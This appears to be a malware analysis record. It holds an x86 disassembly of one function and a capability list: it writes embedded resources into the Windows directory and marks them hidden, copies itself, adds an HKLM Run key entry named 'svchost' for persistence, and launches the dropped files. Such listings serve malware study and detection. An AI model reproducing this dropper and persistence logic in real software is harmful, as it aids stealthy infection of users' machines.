Function at 0x401082
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via run registry key
Query or enumerate registry value
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x104
lea eax, [esi + 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor edi, edi
mov dword [esi + 0x10], eax
cmp eax, edi
je 0x4012a4
lea ebp, [esi + 0x83c]
lea ebx, [esi + 0x838]
push ebp
push ebx
push 0x410150
push 0x65
push dword [esi + 4]
call fcn.00401395
add esp, 0x14
test al, al
je 0x401137
lea ecx, [esi + 0x220]
push 0x410138
lea eax, [esi + 0x428]
push ecx
push 0x41012c
push eax
call fcn.00401580
add esp, 0x10
lea eax, [esi + 0x428]
push edi
push edi
push 1
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x401137
lea ecx, [esi + 0x840]
push edi
push ecx
push dword [ebp]
push dword [ebx]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0x428]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
push ebx
push 0x410150
push 0x68
push dword [esi + 4]
call fcn.00401395
add esp, 0x14
test al, al
je 0x4011bb
lea ecx, [esi + 0x220]
push 0x410110
lea eax, [esi + 0x428]
push ecx
push 0x41012c
push eax
call fcn.00401580
add esp, 0x10
lea eax, [esi + 0x428]
push edi
push edi
push 1
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x4011bb
lea ecx, [esi + 0x840]
push edi
push ecx
push dword [ebp]
push dword [ebx]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0x428]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
push ebx
push 0x410150
push 0x69
push dword [esi + 4]
call fcn.00401395
add esp, 0x14
test al, al
je 0x40123f
lea ecx, [esi + 0x220]
push 0x4100f8
lea eax, [esi + 0x428]
push ecx
push 0x41012c
push eax
call fcn.00401580
add esp, 0x10
lea eax, [esi + 0x428]
push edi
push edi
push 1
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x40123f
lea ecx, [esi + 0x840]
push edi
push ecx
push dword [ebp]
push dword [ebx]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0x428]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ebx, [esi + 0x18]
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, edi
mov dword [esi + 0x14], eax
je 0x4012a4
push 0x4100e0
lea ebp, [esi + 0x428]
push ebx
push 0x41012c
push ebp
call fcn.00401580
lea eax, [esi + 0x220]
push 0x4100c8
lea ebx, [esi + 0x630]
push eax
push 0x41012c
push ebx
call fcn.00401580
add esp, 0x20
push 1
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x4012a4
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ebp, [esi + 0xc]
push ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x401341
lea eax, [esi + 0x848]
push eax
lea eax, [esi + 0x84c]
push eax
lea eax, [esi + 0x844]
push eax
push edi
push str.svchost
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x401338
lea eax, [esi + 0x220]
push 0x410138
lea ebx, [esi + 0x428]
push eax
push 0x41012c
push ebx
call fcn.00401580
push ebx
call fcn.004013e4
add esp, 0x14
lea eax, [eax + eax + 2]
push eax
push ebx
push 1
push edi
push str.svchost
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [esi + 0x220]
push edi
push eax
push edi
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x410054
push dword [esp + 0x18]
call fcn.004014f0
pop ecx
test eax, eax
pop ecx
jne 0x401364
push 1
push edi
add esi, 0x18
push edi
push esi
push 0x410048
jmp 0x401385
push str.explore
push dword [esp + 0x18]
call fcn.004014f0
pop ecx
test eax, eax
pop ecx
jne 0x40138c
push 1
push edi
add esi, 0x18
push edi
push esi
push 0x410030
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 4